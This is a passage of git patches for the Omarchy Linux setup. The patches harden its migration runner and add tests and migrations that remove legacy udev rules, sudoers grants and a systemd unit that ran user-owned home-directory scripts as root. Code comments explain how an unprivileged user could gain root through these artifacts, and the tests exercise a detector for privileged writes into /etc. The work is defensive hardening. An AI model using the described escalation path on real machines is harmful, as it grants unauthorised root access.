<<'SH' +echo deferred >>"$TEST_CALLS" +exit 75 +SH +cat >"$deferred_root/migrations/200-after.sh" <<'SH' +echo after >>"$TEST_CALLS" +SH + +HOME="$deferred_home" \ +OMARCHY_PATH="$deferred_root" \ +TEST_CALLS="$deferred_calls" \ + "$ROOT/bin/omarchy-migrate" >"$test_tmp/deferred.out" + +grep -q '^deferred$' "$deferred_calls" || fail "migration runner starts a deferred migration" +grep -q '^after$' "$deferred_calls" || fail "migration runner continues after a deferred migration" +[[ ! -f $deferred_home/.local/state/omarchy/migrations/100-deferred.sh ]] || + fail "migration runner leaves a deferred migration pending" +[[ -f $deferred_home/.local/state/omarchy/migrations/200-after.sh ]] || + fail "migration runner records a later successful migration" +grep -q 'was deferred and will be retried later' "$test_tmp/deferred.out" || + fail "migration runner reports a deferred migration" +pass "migration runner leaves exit-75 migrations pending and continues the queue" + +HOME="$deferred_home" OMARCHY_PATH="$deferred_root" \ + "$ROOT/bin/omarchy-migrate" --pending >"$test_tmp/deferred-pending.out" +grep -q '^100-deferred\.sh$' "$test_tmp/deferred-pending.out" || + fail "migration runner still reports a deferred migration as pending" +! grep -q '^200-after\.sh$' "$test_tmp/deferred-pending.out" || + fail "migration runner does not report the completed later migration as pending" +pass "migration runner reports only the deferred migration as pending" diff --git a/test/shell.d/privileged-heredoc-test.sh b/test/shell.d/privileged-heredoc-test.sh index ce274260..f02be8c1 100755 --- a/test/shell.d/privileged-heredoc-test.sh +++ b/test/shell.d/privileged-heredoc-test.sh @@ -299,20 +299,18 @@ mentions_user_writable_root() { # while the $HOME token stands alone. classify_expansion() { local masked="$1" name="$2" head literal piece - local path_shaped=1 token_has_slash=1 + local path_shape="" head=$(literal_head "$masked") head=${head%%$'\001'*} literal=$(literal_value "$name") - [[ $masked == */* ]] && token_has_slash=0 + [[ $masked == */* ]] && path_shape+="token " + in_list "$name" "${USER_WRITABLE_VARS[@]}" && path_shape+="user-root " + [[ -v VARS_TAINTED[$name] ]] && path_shape+="tainted " + [[ -n $literal && $literal == */* ]] && path_shape+="literal " - ((token_has_slash == 0)) && path_shaped=0 - in_list "$name" "${USER_WRITABLE_VARS[@]}" && path_shaped=0 - [[ -v VARS_TAINTED[$name] ]] && path_shaped=0 - [[ -n $literal && $literal == */* ]] && path_shaped=0 - - ((path_shaped == 0)) || return 1 + [[ -n $path_shape ]] || return 1 # A path expansion anchored under a root-owned prefix cannot introduce a # user-writable location, so it does not need declaring. @@ -334,8 +332,7 @@ classify_expansion() { # A name assigned a user root anywhere in the file is never rescued: the # assignment that won may be the packaged path it was later reassigned away # from, and the rescue would then clear it on evidence it no longer holds. - if ((token_has_slash != 0)) && ! in_list "$name" "${USER_WRITABLE_VARS[@]}" && - ! [[ -v VARS_TAINTED[$name] ]] && [[ -n $literal ]]; then + if [[ $path_shape == "literal " ]]; then for piece in $literal; do piece=$(literal_head "$piece") if mentions_user_writable_root "$piece"; then @@ -361,8 +358,12 @@ command_destinations() { # contain spaces anywhere this check runs. line=${line//\"/ } line=${line//\'/ } - # Detach redirects from their targets so "> /etc/x" and ">/etc/x" agree. + # Preserve append redirects before detaching redirect operators from their + # targets, so ">> /etc/x" does not become two ">" tokens whose first target + # is the second operator. + line=${line//>>/$'\003'} line=${line//>/ > } + line=${line//$'\003'/" >> "} read -r -a tokens <<<"$line" @@ -373,7 +374,7 @@ command_destinations() { in_list "$token" "${ELEVATORS[@]}" && elevated=0 - if [[ $token == ">" ]]; then + if [[ $token == ">" || $token == ">>" ]]; then target=${tokens[index]:-} index=$((index + 1)) [[ -n $target && $target != "&"* && $target != /dev/* ]] && printf '%s\n' "$target" @@ -386,7 +387,7 @@ command_destinations() { fi if in_list "$token" "${WRITE_COMMANDS[@]}"; then - if [[ $token == "tee" || $token == "dd" ]]; then + if [[ $token == "tee" ]]; then # Every non-flag argument to tee is a destination. scan=$index while ((scan < ${#tokens[@]})); do @@ -397,7 +398,8 @@ command_destinations() { [[ $target == /dev/* ]] && continue printf '%s\n' "$target" done - else + elif [[ $token != "dd" ]]; then + # dd destinations are expressed only by of= operands, handled above. copy_like=0 fi continue @@ -485,13 +487,45 @@ count_placeholders() { printf '%s' "$count" } +normalize_path_set() { + local value="$1" + local -a names=() + + if [[ $value == "none" ]]; then + printf 'none' + return 0 + fi + + IFS=, read -ra names <<<"$value" + mapfile -t names < <(printf '%s\n' "${names[@]}" | sort -u) + ( + IFS=, + printf '%s' "${names[*]}" + ) +} + +inside_same_line_arithmetic() { + local prefix="$1" opens=0 closes=0 + + while [[ $prefix == *"(("* ]]; do + opens=$((opens + 1)) + prefix=${prefix#*"(("} + done + while [[ $prefix == *"))"* ]]; do + closes=$((closes + 1)) + prefix=${prefix#*"))"} + done + + ((opens > closes)) +} + scan_file() { local file="$1" display="${2:-$1}" local -a lines=() - local index lineno line scan rest raw guard slot delim candidate + local index lineno line scan rest raw operator match prefix guard slot delim candidate candidate_delim body_start local body_text unescaped destination body_line masked_line token name - local declared_paths annotation look shown_paths shown_plain count next slots - local hd_re='<<-?[[:space:]]*("[A-Za-z_][A-Za-z0-9_]*"|'"'"'[A-Za-z_][A-Za-z0-9_]*'"'"'|[A-Za-z_][A-Za-z0-9_]*)' + local declared_paths annotation look shown_paths shown_plain count next slots terminated + local hd_re='(<<-?)[[:space:]]*("[A-Za-z_][A-Za-z0-9_]*"|'"'"'[A-Za-z_][A-Za-z0-9_]*'"'"'|[A-Za-z_][A-Za-z0-9_]*)' mapfile -t lines <"$file" collect_vars lines @@ -512,12 +546,21 @@ scan_file() { # Collect this line's heredoc delimiters in order. Quoted ones are safe by # construction but still have to be tracked, or their bodies would be # parsed as code. - local -a delims=() quoted=() + local -a delims=() quoted=() strip_tabs=() rest=$scan guard=0 while ((guard++ < 8)) && [[ $rest =~ $hd_re ]]; do - raw=${BASH_REMATCH[1]} - rest=${rest#*"${BASH_REMATCH[0]}"} + match=${BASH_REMATCH[0]} + operator=${BASH_REMATCH[1]} + raw=${BASH_REMATCH[2]} + prefix=${rest%%"$match"*} + rest=${rest#*"$match"} + + # `(( value << shift ))` and `$(( value << shift ))` are arithmetic, not + # heredocs. Without this guard the shift count becomes a phantom delimiter + # and can consume every real heredoc below it. + inside_same_line_arithmetic "$prefix" && continue + if [[ $raw == \"*\" || $raw == \'*\' ]]; then delims+=("${raw:1:${#raw}-2}") quoted+=(0) @@ -525,6 +568,7 @@ scan_file() { delims+=("$raw") quoted+=(1) fi + [[ $operator == "<<-" ]] && strip_tabs+=(1) || strip_tabs+=(0) done ((${#delims[@]} > 0)) || continue @@ -532,14 +576,34 @@ scan_file() { for slot in "${!delims[@]}"; do delim=${delims[slot]} local -a body=() + body_start=$index + terminated=1 while ((index < ${#lines[@]})); do candidate=${lines[index]} index=$((index + 1)) - [[ ${candidate#"${candidate%%[![:space:]]*}"} == "$delim" ]] && break + candidate_delim=$candidate + if ((strip_tabs[slot] == 1)); then + while [[ $candidate_delim == $'\t'* ]]; do + candidate_delim=${candidate_delim#$'\t'} + done + fi + if [[ $candidate_delim == "$delim" ]]; then + terminated=0 + break + fi body+=("$candidate") done + # A valid shell source cannot contain an unterminated heredoc. If this + # candidate has no terminator it was syntax such as a multi-line arithmetic + # shift that the lightweight matcher could not classify; resume scanning + # below it instead of swallowing the rest of the file. + if ((terminated != 0)); then + index=$body_start + continue + fi + # A quoted delimiter cannot expand anything. ((quoted[slot] == 1)) || continue @@ -621,7 +685,7 @@ scan_file() { continue fi - if [[ $declared_paths != "$shown_paths" ]]; then + if [[ $(normalize_path_set "$declared_paths") != $(normalize_path_set "$shown_paths") ]]; then FINDINGS+=("$display:$lineno: heredoc annotation declares paths=$declared_paths but the path-shaped expansions are $shown_paths Writing to: $destination Every expansion used as a path outside a root-owned prefix has to be named, @@ -761,6 +825,19 @@ fixture_flags route-variable-path.sh \ fixture_flags route-install-hop.sh \ "flags a scratch file that install(1) later copies into /usr" fixture_flags route-dash-delimiter.sh "flags an indented <<- heredoc" +fixture_flags route-append-redirect.sh "flags an append redirect into /etc" +fixture_flags arithmetic-left-shift-before-heredoc.sh \ + "an arithmetic left shift does not swallow a later privileged heredoc" \ + "path-shaped expansions: HOME" +fixture_flags plain-heredoc-indented-pseudo-delimiter.sh \ + "an indented delimiter does not terminate a plain heredoc" \ + "path-shaped expansions: HOME" + +mapfile -t dd_destinations < <(command_destinations \ + 'sudo dd if=/tmp/input bs=4M status=none of=/etc/omarchy/image') +[[ ${dd_destinations[0]:-} == "/etc/omarchy/image" && ${dd_destinations[1]:-} == $'\002elevated' && ${#dd_destinations[@]} == 2 ]] || + fail "dd emits only its of= destination" "$(printf '%q\n' "${dd_destinations[@]:-}")" +pass "dd emits only its of= destination" # Negatives. fixture_passes safe-quoted-delimiter.sh "a quoted delimiter passes" @@ -771,6 +848,8 @@ fixture_passes safe-no-expansion.sh \ fixture_passes safe-runtime-expansion.sh \ "an escaped \\\$VAR left for a root daemon to expand passes" fixture_passes safe-annotated.sh "a declared, reasoned exemption passes" +fixture_passes safe-annotated-reordered-paths.sh \ + "path declarations compare as sets rather than traversal order" fixture_passes safe-root-anchored.sh \ "a path expansion anchored under /etc is truthfully declared paths=none" fixture_passes safe-herestring.sh "a herestring is not mistaken for a heredoc" diff --git a/test/shell.d/retired-installer-artifacts-migration-test.sh b/test/shell.d/retired-installer-artifacts-migration-test.sh index da6a3663..83f42881 100755 --- a/test/shell.d/retired-installer-artifacts-migration-test.sh +++ b/test/shell.d/retired-installer-artifacts-migration-test.sh @@ -25,6 +25,10 @@ cat >"$test_dir/bin/systemctl" <<'STUB' #!/bin/bash printf 'systemctl %s\n' "$*" >>"$CALLS" +if [[ $* == "daemon-reload" && -n ${FAIL_DAEMON_RELOAD_ONCE_MARKER:-} && ! -e $FAIL_DAEMON_RELOAD_ONCE_MARKER ]]; then + touch "$FAIL_DAEMON_RELOAD_ONCE_MARKER" + exit 1 +fi STUB chmod +x "$test_dir/bin/"* @@ -49,9 +53,11 @@ home_dir="$test_dir/home" first_run="$sudoers_dir/first-run" tsui="$sudoers_dir/tsui" plymouth_unit="$systemd_dir/omarchy-plymouth-shutdown.service" +machine_marker="$test_dir/machine-marker" +reload_needed_marker="$machine_marker.daemon-reload" reset_machine() { - rm -rf "$sudoers_dir" "$systemd_dir" "$home_dir" + rm -rf "$sudoers_dir" "$systemd_dir" "$home_dir" "$machine_marker" "$reload_needed_marker" mkdir -p "$sudoers_dir" "$systemd_dir" "$home_dir" } @@ -61,6 +67,7 @@ run_migration() { HOME="$home_dir" \ OMARCHY_SUDOERS_DIR="$sudoers_dir" \ OMARCHY_SYSTEMD_SYSTEM_DIR="$systemd_dir" \ + OMARCHY_RETIRED_INSTALLER_ARTIFACTS_MARKER="$machine_marker" \ PATH="$test_dir/bin:$PATH" \ bash -euo pipefail "$migration" >/dev/null } @@ -83,7 +90,7 @@ assert_changed_nothing() { assert_read_elevated() { local file="$1" label="$2" - grep -qF "sudo test -f $file" "$CALLS" || + grep -qF "bash $file" "$CALLS" || fail "$label" "$(cat "$CALLS")" grep -qF "sudo cat $file" "$CALLS" || fail "$label" "$(cat "$CALLS")" @@ -174,6 +181,9 @@ for body in "${first_run_variants[@]}"; do done pass "migration removes every first-run sudoers grant the installer ever wrote" +[[ -f $machine_marker ]] || fail "migration records the machine-wide repair" +pass "migration records the machine-wide repair" + grep -q '^sudo rm -f .*/sudoers\.d/first-run$' "$CALLS" || fail "migration removes the first-run grant with elevated privileges" "$(cat "$CALLS")" pass "migration removes the first-run grant with elevated privileges" @@ -322,6 +332,22 @@ run_migration [[ -e $plymouth_unit ]] || fail "migration keeps a unit whose home ExecStop is commented out" pass "migration keeps a unit whose home ExecStop is commented out" +# Non-empty ExecStop= assignments append; a packaged command after the retired +# home command does not replace it, so the vulnerable command remains live. +reset_machine +cat >"$plymouth_unit" <<'EOF' +[Service] +Type=oneshot +ExecStart=/usr/bin/true +ExecStop=/home/installer/.local/share/omarchy/bin/omarchy-plymouth-shutdown-sync +ExecStop=/usr/bin/true +EOF +run_migration + +[[ ! -e $plymouth_unit ]] || + fail "migration removes a home ExecStop followed by another command" "$(cat "$plymouth_unit")" +pass "migration removes a home ExecStop followed by another command" + reset_machine run_migration @@ -517,30 +543,71 @@ run_migration fail "migration removes a unit whose last line ends mid-continuation" pass "migration removes a unit whose last line ends mid-continuation" +# If removing the unit succeeds but daemon-reload fails, the loaded unit still +# needs to be forgotten. Persist that half of the repair so the retry reloads +# systemd even though the unit file is already gone. +reset_machine +write_plymouth_unit "/home/installer/.local/share/omarchy/bin/omarchy-plymouth-shutdown-sync" +reload_failure_seen="$test_dir/reload-failure-seen" +rm -f "$reload_failure_seen" + +set +e +FAIL_DAEMON_RELOAD_ONCE_MARKER="$reload_failure_seen" run_migration +reload_status=$? +set -e + +(( reload_status == 75 )) || + fail "migration defers after a failed daemon-reload" "status=$reload_status" +[[ ! -e $plymouth_unit && -e $reload_needed_marker && ! -e $machine_marker ]] || + fail "migration records the pending reload without marking the repair complete" + +run_migration +[[ ! -e $reload_needed_marker && -e $machine_marker ]] || + fail "migration completes a pending daemon-reload on retry" +grep -q '^systemctl daemon-reload$' "$CALLS" || + fail "migration retries daemon-reload after the unit file is gone" "$(cat "$CALLS")" +pass "migration retries daemon-reload after the unit file is gone" + # sudo cannot prompt without a terminal, and omarchy-migrate runs from places that # have none. bin/omarchy-migrate writes the completion marker on a zero exit, so # reporting success after failing to look would mark this migration done for good. # Observed on a real machine before this guard existed: the run printed sudo's # "a terminal is required" and still exited 0. reset_machine -unreadable="$test_dir/unreadable-sudoers" -rm -rf "$unreadable" -mkdir -p "$unreadable" -chmod 000 "$unreadable" +readable="$test_dir/readable-sudoers" +rm -rf "$readable" +mkdir -p "$readable" +chmod 755 "$readable" +printf '%s\n' "${first_run_variants[-1]}" >"$readable/first-run" : >"$CALLS" set +e HOME="$home_dir" \ - OMARCHY_SUDOERS_DIR="$unreadable" \ + OMARCHY_SUDOERS_DIR="$readable" \ OMARCHY_SYSTEMD_SYSTEM_DIR="$systemd_dir" \ + OMARCHY_RETIRED_INSTALLER_ARTIFACTS_MARKER="$machine_marker" \ PATH="$test_dir/failing-bin:$PATH" \ bash -euo pipefail "$migration" >"$test_dir/gate.out" 2>&1 gate_status=$? set -e -chmod 755 "$unreadable" -(( gate_status != 0 )) || - fail "migration fails when it cannot elevate to inspect the sudoers directory" "$(cat "$test_dir/gate.out")" -grep -q 'without elevation' "$test_dir/gate.out" || +(( gate_status == 75 )) || + fail "migration defers when it cannot elevate to inspect the sudoers directory" "status=$gate_status$(printf '\n%s' "$(cat "$test_dir/gate.out")")" +[[ -e $readable/first-run ]] || + fail "migration keeps a live grant when elevation fails" +[[ ! -e $machine_marker ]] || + fail "migration leaves the machine repair unmarked when elevation fails" +grep -q 'will retry it later' "$test_dir/gate.out" || fail "migration says why it could not inspect the directory" "$(cat "$test_dir/gate.out")" -pass "migration fails when it cannot elevate to inspect the sudoers directory" +pass "migration defers without marking a readable sudoers directory repaired when elevation fails" + +# After one privileged account completes the machine repair, a non-sudo user +# can finish their per-user migration without probing sudo again. +touch "$machine_marker" +HOME="$home_dir" \ + OMARCHY_SUDOERS_DIR="$readable" \ + OMARCHY_SYSTEMD_SYSTEM_DIR="$systemd_dir" \ + OMARCHY_RETIRED_INSTALLER_ARTIFACTS_MARKER="$machine_marker" \ + PATH="$test_dir/failing-bin:$PATH" \ + bash -euo pipefail "$migration" >/dev/null +pass "machine marker lets a non-sudo user complete after the repair" From 4d697a063cf29256f95dda6fedd29d3ff96b4ccf Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sat, 29 Aug 2026 21:08:33 -0600 Subject: [PATCH 147/336] Harden privileged cleanup review fixes --- agents/skills/migrations.md | 2 +- bin/omarchy-migrate | 14 +++- bin/omarchy-provision-owner | 4 +- migrations/1787946619.sh | 20 ++++-- migrations/1788025225.sh | 23 ++++-- ...annotated-special-parameter-before-home.sh | 5 ++ .../route-continued-pipeline.sh | 4 ++ .../route-install-hop-alias.sh | 6 ++ .../route-install-hop-braced.sh | 5 ++ .../legacy-power-udev-rules-migration-test.sh | 43 +++++++++-- test/shell.d/migrate-scope-test.sh | 30 ++++++++ test/shell.d/privileged-heredoc-test.sh | 72 +++++++++++++++++-- ...ired-installer-artifacts-migration-test.sh | 23 ++++-- 13 files changed, 219 insertions(+), 32 deletions(-) create mode 100644 test/shell.d/fixtures/privileged-heredoc/annotated-special-parameter-before-home.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-continued-pipeline.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-install-hop-alias.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-install-hop-braced.sh diff --git a/agents/skills/migrations.md b/agents/skills/migrations.md index 08e3710e..4cae6668 100644 --- a/agents/skills/migrations.md +++ b/agents/skills/migrations.md @@ -126,7 +126,7 @@ New migration format: - Start with an `echo` describing what the migration does. - Use `$OMARCHY_PATH` to reference the Omarchy directory. - Be idempotent. Check existing state before changing it. -- Exit 75 when a temporary condition must leave the migration pending without blocking later migrations. `omarchy-migrate` continues the queue, does not write that migration's completion marker, and retries it on a later run. Other non-zero statuses still abort the migration run. +- When a temporary condition must leave the migration pending without blocking later migrations, write `$OMARCHY_MIGRATION_DEFER_TOKEN` to `$OMARCHY_MIGRATION_DEFER_FILE`, then exit 75. `omarchy-migrate` requires both signals before it continues the queue without writing that migration's completion marker. An unmarked exit 75 is an ordinary failure and aborts the run, so a child command returning `EX_TEMPFAIL` cannot accidentally defer a migration forever. - Use helper commands such as `omarchy-cmd-present`, `omarchy-cmd-missing`, `omarchy-pkg-add`, `omarchy-pkg-drop`, `omarchy-pkg-present`, and `omarchy-pkg-missing` when appropriate. diff --git a/bin/omarchy-migrate b/bin/omarchy-migrate index 85f694b5..59791789 100755 --- a/bin/omarchy-migrate +++ b/bin/omarchy-migrate @@ -91,18 +91,28 @@ while IFS=$'\t' read -r name file marker; do if [[ ! -f $marker ]]; then echo -e "\e[32m\nRunning migration (${name%.sh})\e[0m" - if OMARCHY_PATH="$OMARCHY_PATH" bash -euo pipefail "$file"; then + defer_file=$(mktemp "$STATE_DIR/.defer.XXXXXX") + defer_token="$BASHPID-$RANDOM-$RANDOM" + migration_status=0 + + if OMARCHY_PATH="$OMARCHY_PATH" \ + OMARCHY_MIGRATION_DEFER_FILE="$defer_file" \ + OMARCHY_MIGRATION_DEFER_TOKEN="$defer_token" \ + bash -euo pipefail "$file"; then mkdir -p "$(dirname "$marker")" touch "$marker" else migration_status=$? - if (( migration_status == 75 )); then + if (( migration_status == 75 )) && [[ $(<"$defer_file") == "$defer_token" ]]; then deferred+=("$name") echo "Migration ${name%.sh} was deferred and will be retried later." else + rm -f "$defer_file" exit "$migration_status" fi fi + + rm -f "$defer_file" fi done < <(migration_entries) diff --git a/bin/omarchy-provision-owner b/bin/omarchy-provision-owner index fc0f219e..d300d1de 100755 --- a/bin/omarchy-provision-owner +++ b/bin/omarchy-provision-owner @@ -788,7 +788,7 @@ configure_login() { # After=) is what makes it deterministic — no sleep/race against SDDM's startup. install_autologin_once_cleanup() { local unit=omarchy-provision-autologin-once.service - cat >"/etc/systemd/system/$unit" <<'UNIT' + sed "s|@UNIT@|$unit|g" >"/etc/systemd/system/$unit" <<'UNIT' [Unit] Description=Drop the first-boot autologin before the next login Before=display-manager.service @@ -797,7 +797,7 @@ ConditionPathExists=/etc/sddm.conf.d/autologin.conf [Service] Type=oneshot ExecStart=/usr/bin/rm -f /etc/sddm.conf.d/autologin.conf -ExecStartPost=/usr/bin/rm -f /etc/systemd/system/graphical.target.wants/omarchy-provision-autologin-once.service /etc/systemd/system/omarchy-provision-autologin-once.service +ExecStartPost=/usr/bin/rm -f /etc/systemd/system/graphical.target.wants/@UNIT@ /etc/systemd/system/@UNIT@ [Install] WantedBy=graphical.target diff --git a/migrations/1787946619.sh b/migrations/1787946619.sh index 4344503a..be89acfe 100644 --- a/migrations/1787946619.sh +++ b/migrations/1787946619.sh @@ -10,9 +10,17 @@ as_root() { fi } +defer_privileged_repair() { + echo "Cannot remove the legacy privileged udev rule; omarchy-migrate will retry it later." >&2 + if [[ -n ${OMARCHY_MIGRATION_DEFER_FILE:-} && -n ${OMARCHY_MIGRATION_DEFER_TOKEN:-} ]]; then + printf '%s\n' "$OMARCHY_MIGRATION_DEFER_TOKEN" >"$OMARCHY_MIGRATION_DEFER_FILE" + fi + exit 75 +} + # Omarchy 3 generated these two rules with an unquoted heredoc, so the installing -# user's $HOME was expanded and the file on disk names -# /home//.local/share/omarchy/bin/. udev runs RUN+= as root, and +# user's $HOME was expanded and the file on disk names that absolute home path. +# udev runs RUN+= as root, and # ~/.local/share/omarchy is a symlink that same unprivileged user owns: replacing # it with a tree of their own and provoking a power_supply event runs their code # as root. Quattro ships the rules as 99-omarchy-*.rules under /usr/bin, but the @@ -32,7 +40,7 @@ as_root() { # path in a comment, and so does a legacy file already repointed at /usr/bin. rule_runs_from_home() { local file="$1" binary="$2" - local pattern="^(/home/[^/]+|/root)/\\.local/share/omarchy/bin/$binary\$" + local pattern="^/.+/\\.local/share/omarchy/bin/$binary\$" local line logical="" rest command word local -a words @@ -68,7 +76,7 @@ rule_runs_from_home() { # argument. Compare whole words so no substring stands in for the path. read -ra words <<<"$command" for word in "${words[@]}"; do - if [[ $word =~ $pattern || $word == "$HOME/.local/share/omarchy/bin/$binary" ]]; then + if [[ $word =~ $pattern ]]; then return 0 fi done @@ -84,7 +92,9 @@ for legacy_rule in "99-power-profile.rules:omarchy-powerprofiles-set" "99-wifi-p rule_file="$rules_dir/${legacy_rule%%:*}" if [[ -f $rule_file ]] && rule_runs_from_home "$rule_file" "${legacy_rule##*:}"; then - as_root rm -f "$rule_file" + if ! as_root rm -f "$rule_file"; then + defer_privileged_repair + fi removed=1 fi done diff --git a/migrations/1788025225.sh b/migrations/1788025225.sh index 3eeddb0d..d7dbb785 100644 --- a/migrations/1788025225.sh +++ b/migrations/1788025225.sh @@ -115,10 +115,10 @@ sudoers_hash_is_active() { # one line that is unmistakably this grant: its own self-cleanup. One # hand-written line anywhere in the file and it is not ours to delete. first_run_sudoers_is_generated() { - local spec_pattern='^[^[:space:]]+ ALL=\(ALL\) NOPASSWD: (.+)$' + local spec_pattern='^([^[:space:]]+) ALL=\(ALL\) NOPASSWD: (.+)$' local marker_pattern='^/bin/rm -f /home/[^/]+/\.local/state/omarchy/first-run\.mode$' - local line command - local seen_any=0 seen_marker=0 + local line user command generated_user="" + local seen_any=0 seen_marker=0 seen_spec=0 while IFS= read -r line; do seen_any=1 @@ -140,7 +140,13 @@ first_run_sudoers_is_generated() { if [[ ! $line =~ $spec_pattern ]]; then return 1 fi - command=${BASH_REMATCH[1]} + user=${BASH_REMATCH[1]} + command=${BASH_REMATCH[2]} + if [[ -n $generated_user && $user != "$generated_user" ]]; then + return 1 + fi + generated_user=$user + seen_spec=1 case "$command" in "/usr/bin/systemctl" | "/usr/bin/ufw" | "/usr/bin/ufw-docker" | \ @@ -162,7 +168,7 @@ first_run_sudoers_is_generated() { return 1 done < <(active_lines sudoers) - (( seen_any && seen_marker )) + (( seen_any && seen_marker && seen_spec )) } # bin/omarchy-install-tailscale (2025-08-22 to 2026-02-02) ran @@ -202,7 +208,7 @@ tsui_sudoers_is_generated() { plymouth_unit_runs_from_home() { local binary="omarchy-plymouth-shutdown-sync" local exec_stop_pattern='^ExecStop[[:space:]]*=[[:space:]]*(.*)$' - local home_pattern="^(/home/[^/]+|/root)/\\.local/share/omarchy/bin/$binary\$" + local home_pattern="^/.+/\\.local/share/omarchy/bin/$binary\$" local line word local -a words local matched=1 @@ -229,7 +235,7 @@ plymouth_unit_runs_from_home() { word=${word:1} done - if [[ $word =~ $home_pattern || $word == "$HOME/.local/share/omarchy/bin/$binary" ]]; then + if [[ $word =~ $home_pattern ]]; then # Non-empty ExecStop= assignments append to the command list. Once a # vulnerable command is present it stays live until an empty assignment # explicitly resets the list; a later packaged command does not replace it. @@ -249,6 +255,9 @@ tsui_sudoers="$sudoers_dir/tsui" defer_privileged_repair() { echo "Cannot complete the privileged installer-artifact repair; omarchy-migrate will retry it later." >&2 + if [[ -n ${OMARCHY_MIGRATION_DEFER_FILE:-} && -n ${OMARCHY_MIGRATION_DEFER_TOKEN:-} ]]; then + printf '%s\n' "$OMARCHY_MIGRATION_DEFER_TOKEN" >"$OMARCHY_MIGRATION_DEFER_FILE" + fi exit 75 } diff --git a/test/shell.d/fixtures/privileged-heredoc/annotated-special-parameter-before-home.sh b/test/shell.d/fixtures/privileged-heredoc/annotated-special-parameter-before-home.sh new file mode 100644 index 00000000..5f4d50a2 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/annotated-special-parameter-before-home.sh @@ -0,0 +1,5 @@ +# omarchy:heredoc-expands paths=none -- the positional argument is a scalar +sudo tee /etc/omarchy/example.conf <"$tmp" <"$tmp" <"$test_dir/failing-bin/sudo" <<'STUB' +#!/bin/bash + +echo "sudo: a terminal is required to read the password" >&2 +exit 1 +STUB +chmod +x "$test_dir/failing-bin/sudo" + export CALLS="$test_dir/calls" rules_dir="$test_dir/rules.d" @@ -189,17 +198,41 @@ run_migration fail "migration keeps a legacy filename already repointed at /usr/bin" pass "migration keeps a legacy filename already repointed at /usr/bin" -# Homes are not all under /home, so the running user's own home counts too, and -# the argument the later variants passed must not hide the path. +# Homes are not all under /home, and a different account may run this +# machine-wide repair after the installer account has gone away. reset_machine cat >"$wifi_rule" <"$defer_file" + +set +e +HOME="$home_dir" \ + OMARCHY_UDEV_RULES_DIR="$rules_dir" \ + OMARCHY_MIGRATION_DEFER_FILE="$defer_file" \ + OMARCHY_MIGRATION_DEFER_TOKEN="$defer_token" \ + PATH="$test_dir/failing-bin:$PATH" \ + bash -euo pipefail "$migration" >"$test_dir/defer.out" 2>&1 +defer_status=$? +set -e + +(( defer_status == 75 )) || fail "migration defers when sudo cannot remove a vulnerable rule" "status=$defer_status" +[[ -e $wifi_rule ]] || fail "migration keeps the vulnerable rule when its elevated removal fails" +[[ $(<"$defer_file") == "$defer_token" ]] || fail "migration authenticates its deferral to the runner" +pass "migration defers instead of blocking the queue when removal cannot elevate" # Nothing named the wrong binary is ours: the same path with a different command # is a rule this migration cannot claim to know anything about. diff --git a/test/shell.d/migrate-scope-test.sh b/test/shell.d/migrate-scope-test.sh index ba499f0a..d31240b9 100644 --- a/test/shell.d/migrate-scope-test.sh +++ b/test/shell.d/migrate-scope-test.sh @@ -83,6 +83,7 @@ mkdir -p "$deferred_root/migrations" "$deferred_home" cat >"$deferred_root/migrations/100-deferred.sh" <<'SH' echo deferred >>"$TEST_CALLS" +printf '%s\n' "$OMARCHY_MIGRATION_DEFER_TOKEN" >"$OMARCHY_MIGRATION_DEFER_FILE" exit 75 SH cat >"$deferred_root/migrations/200-after.sh" <<'SH' @@ -111,3 +112,32 @@ grep -q '^100-deferred\.sh$' "$test_tmp/deferred-pending.out" || ! grep -q '^200-after\.sh$' "$test_tmp/deferred-pending.out" || fail "migration runner does not report the completed later migration as pending" pass "migration runner reports only the deferred migration as pending" + +raw_75_root="$test_tmp/raw-75-omarchy" +raw_75_home="$test_tmp/raw-75-home" +raw_75_calls="$test_tmp/raw-75-calls" +mkdir -p "$raw_75_root/migrations" "$raw_75_home" + +cat >"$raw_75_root/migrations/100-child-tempfail.sh" <<'SH' +echo child-tempfail >>"$TEST_CALLS" +bash -c 'exit 75' +SH +cat >"$raw_75_root/migrations/200-after.sh" <<'SH' +echo after-tempfail >>"$TEST_CALLS" +SH + +set +e +HOME="$raw_75_home" \ +OMARCHY_PATH="$raw_75_root" \ +TEST_CALLS="$raw_75_calls" \ + "$ROOT/bin/omarchy-migrate" >"$test_tmp/raw-75.out" 2>"$test_tmp/raw-75.err" +raw_75_status=$? +set -e + +(( raw_75_status == 75 )) || + fail "migration runner preserves an unmarked child exit 75" "status=$raw_75_status" +grep -q '^child-tempfail$' "$raw_75_calls" || fail "migration runner starts the exit-75 child" +! grep -q '^after-tempfail$' "$raw_75_calls" || fail "migration runner stops after an unmarked exit 75" +[[ ! -f $raw_75_home/.local/state/omarchy/migrations/100-child-tempfail.sh ]] || + fail "migration runner leaves an unmarked exit-75 migration incomplete" +pass "migration runner does not mistake a child EX_TEMPFAIL for intentional deferral" diff --git a/test/shell.d/privileged-heredoc-test.sh b/test/shell.d/privileged-heredoc-test.sh index f02be8c1..0bbe1abf 100755 --- a/test/shell.d/privileged-heredoc-test.sh +++ b/test/shell.d/privileged-heredoc-test.sh @@ -50,14 +50,14 @@ USER_WRITABLE_VARS=(HOME PWD OLDPWD TMPDIR OMARCHY_PATH OMARCHY_INSTALL WRITE_COMMANDS=(tee dd install cp mv) ELEVATORS=(sudo as_root pkexec doas run0) -# A dollar the installing user's shell would act on: $name, ${name} or $(cmd). +# A dollar the installing user's shell would act on: $name, ${name}, $1, or $(cmd). # Kept in a variable because an unquoted `(` inside a bracket expression is a # syntax error in [[ =~ ]]. -EXPANSION_RE='\$[A-Za-z_{(]' +EXPANSION_RE='\$[A-Za-z_{(0-9@*#?$!-]' # One pattern for every expansion form, shared by masking and name extraction # so the two stay in lockstep. -EXPANSION_SCAN_RE='^([^$]*)\$(\{[^}]*\}|\([^)]*\)|[A-Za-z_][A-Za-z0-9_]*(\[[^]]*\])?)(.*)$' +EXPANSION_SCAN_RE='^([^$]*)\$(\{[^}]*\}|\([^)]*\)|[A-Za-z_][A-Za-z0-9_]*(\[[^]]*\])?|[0-9@*#?$!-])(.*)$' # Stand-in name for a command substitution, which has no variable to report. COMMAND_SUBSTITUTION="command-substitution" @@ -145,11 +145,14 @@ mask_and_names() { body=${body#[\#!]} if [[ $body =~ 